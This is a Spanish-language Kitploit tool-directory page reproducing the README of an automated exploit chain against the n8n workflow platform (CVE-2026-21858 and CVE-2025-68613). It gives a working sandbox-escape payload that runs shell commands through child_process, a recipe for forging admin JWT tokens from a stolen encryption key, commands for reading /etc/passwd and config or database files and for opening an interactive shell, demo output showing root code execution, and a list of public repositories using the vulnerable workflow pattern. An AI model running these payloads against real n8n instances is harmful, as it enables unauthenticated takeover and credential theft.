Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-21858 — Cadena de explotación automatizada para n8n que combina lectura arbitraria de archivos, falsificación de token de administrador y evasión de sandbox para lograr ejecución remota de código sin autenticación. | Kitploit
Herramientas/GitHubGitHub/alhakim88/cve-2026-21858
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPost-ExplotaciónPruebas de PenetraciónRed TeamingDesarrollo de Payloads
GitHubalhakim88/cve-2026-21858

CVE-2026-21858

Cadena de explotación automatizada para n8n que combina lectura arbitraria de archivos, falsificación de token de administrador y evasión de sandbox para lograr ejecución remota de código sin autenticación.

Ver Repositorio
hace 6 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-21858 + CVE-2025-68613 - Cadena Completa n8n

Lectura Arbitraria de Archivos sin Autenticación → Forja de Token de Administrador → Bypass de Sandbox → RCE

CVECVE-2026-21858 (AFR) + CVE-2025-68613 (RCE)
CVSS10.0 + 9.9 (Crítico)
Afectado<= 1.65.0 (AFR) / >= 0.211.0 (RCE)
Corregido1.121.0 (AFR) / 1.120.4+ (RCE)
Divulgado2026-01-07 11:09 UTC
Nombre claveNi8mare
CréditoDor Attias (Cyera)
ExploitChocapikk
ProcesoAutomatizado con IA: diff de parche → reproducción → laboratorio → exploit (~9h tras la divulgación)
TipoPrueba de Concepto - NO es un exploit universal (requiere configuración específica del workflow, ver Limitaciones)

TL;DR

Cadena completa de RCE sin autenticación en n8n:

  1. CVE-2026-21858 - Confusión de Content-Type → Lectura Arbitraria de Archivos
  2. Leer configuración + base de datos → forjar JWT de administrador
  3. CVE-2025-68613 - Inyección de expresiones → bypass de sandbox → RCE

Detección

La exposición es basada en versión. En términos de exposición, hay instancias vulnerables de n8n accesibles públicamente.

Resultados de LeakIX: Ver instancias expuestas

Resultados de Detección LeakIX

¿Por Qué Este Exploit?

Este exploit fue desarrollado de forma independiente al informe de Cyera (descubierto después de completarlo). Diferencias clave:

Cyera (Investigación Original)Este Exploit
Lectura de ArchivosCargar en base de conocimiento de IA → consultar vía chatRespuesta HTTP directa
Requisitos previosWorkflow de chat + integración de IACualquier formulario con subida de archivos
Método RCENodo "Execute Command" (deshabilitado por defecto)Inyección de Expresiones (funciona en instalaciones por defecto)
AutomatizaciónDemo manual/conceptualScript Python totalmente automatizado

Ambos enfoques requieren configuraciones específicas del workflow. Cyera necesita chat + integración de IA, este exploit necesita un formulario con nodo Respond. Ver Limitaciones para más detalles.

Cadena de Ataque

root@kitploit:~
┌───────────────────────────────────────────────────────────┐
│                     SIN AUTENTICACIÓN                      │
├───────────────────────────────────────────────────────────┤
│  1. Leer /proc/self/environ → Encontrar directorio HOME   │
│  2. Leer $HOME/.n8n/config → Obtener encryptionKey        │
│  3. Leer $HOME/.n8n/database.sqlite → Obtener credenciales admin │
├───────────────────────────────────────────────────────────┤
│                      FORJA DE TOKEN                       │
├───────────────────────────────────────────────────────────┤
│  4. Derivar secreto JWT de encryptionKey                  │
│  5. Forjar cookie de sesión de administrador              │
├───────────────────────────────────────────────────────────┤
│                    RCE AUTENTICADO                        │
├───────────────────────────────────────────────────────────┤
│  6. Crear workflow con inyección de expresiones           │
│  7. Bypass de sandbox vía this.process.mainModule.require │
│  8. Ejecutar comandos arbitrarios                         │
└───────────────────────────────────────────────────────────┘

CVE-2026-21858 - Lectura Arbitraria de Archivos vía Confusión de Content-Type

El Parche

root@kitploit:~
commit c8d604d2c466dd84ec24f4f092183d86e43f2518
Author: mfsiega
Date:   Thu Nov 13 11:51:40 2025 +0100

    Merge commit from fork

El legendario "Merge commit from fork" - cuando ves esto, alguien encontró algo picante. 🌶️

Causa Raíz

root@kitploit:~
// ANTES (vulnerable)
const files = (context.getBodyData().files as IDataObject) ?? {};
await context.nodeHelpers.copyBinaryFile(file.filepath, ...)

// DESPUÉS (corregido)
a.ok(req.contentType === 'multipart/form-data', 'Expected multipart/form-data');

Envía Content-Type: application/json → controla filepath → lee cualquier archivo.

CVE-2025-68613 - RCE por Inyección de Expresiones

¿Por Qué Este Bypass?

n8n aísla el código de usuario (Nodo de Código, expresiones) usando vm2/isolated-vm. Otros vectores RCE:

TécnicaEstado
Nodo Execute CommandDeshabilitado por defecto (N8N_ALLOW_EXEC_COMMAND=false)
Nodos SSH/HTTPEjecutan en servidores remotos, no en el host de n8n
Escape de Sandbox PyodideCVE-2025-68668 - requiere Nodo de Código Python
Inyección de ExpresionesCVE-2025-68613 - funciona en instalaciones por defecto

Usé Inyección de Expresiones porque funciona en cualquier n8n con configuración por defecto - sin nodos especiales ni configuración requerida. El bypass de Pyodide (CVE-2025-68668) requiere el Nodo de Código Python que puede no estar disponible en todas las instancias.

El Payload

root@kitploit:~
={{ (function() { 
  var require = this.process.mainModule.require; 
  var execSync = require("child_process").execSync; 
  return execSync("id").toString(); 
})() }}

Las expresiones de n8n tienen acceso a this.process.mainModule.require → escape completo del sandbox.

Forja de Token

root@kitploit:~
# Derivación del secreto JWT
jwt_secret = sha256(encryption_key[::2]).hexdigest()

# Hash JWT
jwt_hash = b64encode(sha256(f"{email}:{password_hash}")).decode()[:10]

# Forjar token
token = jwt.encode({"id": user_id, "hash": jwt_hash}, jwt_secret, "HS256")

Configuración del Laboratorio

root@kitploit:~
docker compose up -d
# Esperar ~60 segundos para la configuración
# Formulario: http://localhost:5678/form/vulnerable-form
# Credenciales: [email protected] / password

Uso

root@kitploit:~
# Leer archivo arbitrario
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --read /etc/passwd

# Cadena completa con comando
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --cmd "id"

# Shell interactivo
uv run python exploit.py http://localhost:5678 /form/vulnerable-form

Demo

root@kitploit:~
╔═══════════════════════════════════════════════════════════════╗
║     CVE-2026-21858 + CVE-2025-68613 - Cadena Completa n8n     ║
║     Lectura Arbitraria de Archivos → Forja de Token → Bypass de Sandbox → RCE ║
╚═══════════════════════════════════════════════════════════════╝

[*] Objetivo: http://localhost:5678/form/vulnerable-form
[*] Versión: 1.65.0 (VULNERABLE)
[x] Directorio HOME
[+] Directorio HOME: /root
[x] Clave de cifrado
[+] Clave de cifrado: yusrXZV1...
[x] Base de datos
[+] Base de datos: 1327104 bytes
[x] Usuario administrador
[+] Usuario administrador: [email protected]
[x] Forja de token
[+] Forja de token: OK
[x] Acceso de administrador
[+] Acceso de administrador: CONCEDIDO!
[+] Cookie: n8n-auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjljMWI5MzU0LTI5NzQtNGZlOS05OTc2LWVmZDM3ZWEyNWFlMiIsImhhc2giOiJGYzVQZjVkUDRxIn0.TrIjHV3_6pw6Syi4qme5larZeQElBJmo4Y_eSgL9_M0
[x] RCE
[+] RCE: OK

uid=0(root) gid=0(root) groups=0(root)

Limitaciones

Este NO es un exploit "hackea cualquier n8n". Requiere condiciones específicas para funcionar:

RequisitoDescripción
Formulario con subida de archivosEl objetivo debe tener un workflow de formulario con campo de subida de archivos
Nodo Respond to WebhookEl workflow debe devolver el contenido del archivo en la respuesta HTTP
Workflow activoEl workflow del formulario debe estar activado
Acceso sin autenticaciónEl formulario debe ser accesible públicamente (sin autenticación)

Ejemplo de configuración de workflow vulnerable:

root@kitploit:~
{
  "nodes": [
    {
      "name": "Form Trigger",
      "type": "n8n-nodes-base.formTrigger",
      "parameters": {
        "responseMode": "responseNode",
        "formFields": {
          "values": [{ "fieldLabel": "document", "fieldType": "file" }]
        }
      }
    },
    {
      "name": "Respond",
      "type": "n8n-nodes-base.respondToWebhook",
      "parameters": {
        "respondWith": "binary",
        "inputDataFieldName": "document"
      }
    }
  ],
  "connections": {
    "Form Trigger": { "main": [[{ "node": "Respond" }]] }
  }
}

Los elementos clave son: fieldType: "file" + respondWith: "binary". Este patrón es común en workflows de procesamiento de archivos (convertidores, redimensionadores de imágenes, procesadores de documentos).

Funciona:

  • Formularios con nodo Respond que devuelven binario (convertidores de archivos, procesadores)
  • Instalaciones por defecto de n8n (Inyección de Expresiones no bloqueada)
  • Despliegues locales/Docker (base de datos + configuración almacenadas en disco)

No funciona:

  • Formularios sin nodo Respond (el archivo se lee pero el contenido no se devuelve en la respuesta HTTP)
  • Formularios que requieren autenticación
  • n8n Cloud (arquitectura diferente, sin acceso a archivos locales)
  • Versiones parcheadas (>= 1.121.0)

Nota: La vulnerabilidad (lectura arbitraria de archivos) se activa independientemente del método de exfiltración. El nodo Respond es solo una forma de recuperar el contenido. Métodos alternativos (OOB, otros nodos de salida) pueden funcionar dependiendo de la configuración del workflow.

Explotación ciega: Si no existe un nodo respond, el archivo aún es leído por n8n pero no puede ser exfiltrado vía respuesta HTTP. Se necesitarían técnicas alternativas (OOB, temporización).

Ejemplos del Mundo Real

El patrón vulnerable (Form Trigger + subida de archivos + Respond to Webhook) existe en repositorios públicos de GitHub.

Nota: Los repositorios populares de workflows n8n (>100⭐) no usan este patrón. Estos son proyectos comunitarios/personales:

Archivo de WorkflowCampos de ArchivorespondWith
ifcpipeline/.../ifcpipeline.jsonIDS, IFC (x2)binary ⚠️
nano-banana-studio/.../03_multi_asset_processor.jsonImágenes, Audio, Markdownjson
ticket-omnichannel-chat/.../Knowledge_base.jsonDocumento(PDF)text
ai_resume_project/resume_rag.jsonSubida de ArchivoallIncomingItems
fkgpt-portfolio/.../audio-transcription-analysis.jsonArchivo de Audiotext
n8n-backup/.../K3DwHQs0fnnm5UK0.jsonarchivotext
voltixLandingPage/.../chatbotvoltix.jsonSubir Archivopredeterminado
n8n-backup-zm/.../Ky1AiuIMbY1zoTLE.jsonarchivopredeterminado
8n8Workflows/.../3WoSqiBnZ56RtWMb.jsonSube tu documentopredeterminado
learn_earn_ai_insta/.../My workflow.jsonsube tu archivopredeterminado
finintworkshop/.../API using n8n (ToT).json

Estos son workflows contribuidos por la comunidad. Ninguna plantilla oficial de n8n.io usa este patrón vulnerable.

Referencias

  • Investigación de Cyera - Informe Completo Ni8mare - Investigación original de Dor Attias
  • GHSA-v4pr-fm98-w9pg - CVE-2026-21858
  • GHSA-v98v-ff95-f3cp - CVE-2025-68613
  • Plantilla Nuclei CVE-2025-68613
  • Resultados de Búsqueda LeakIX - Instancias vulnerables expuestas
  • Formidable - "La librería, no la canción" (gracias Cyera por la risa)
Descargar herramienta
archivo
json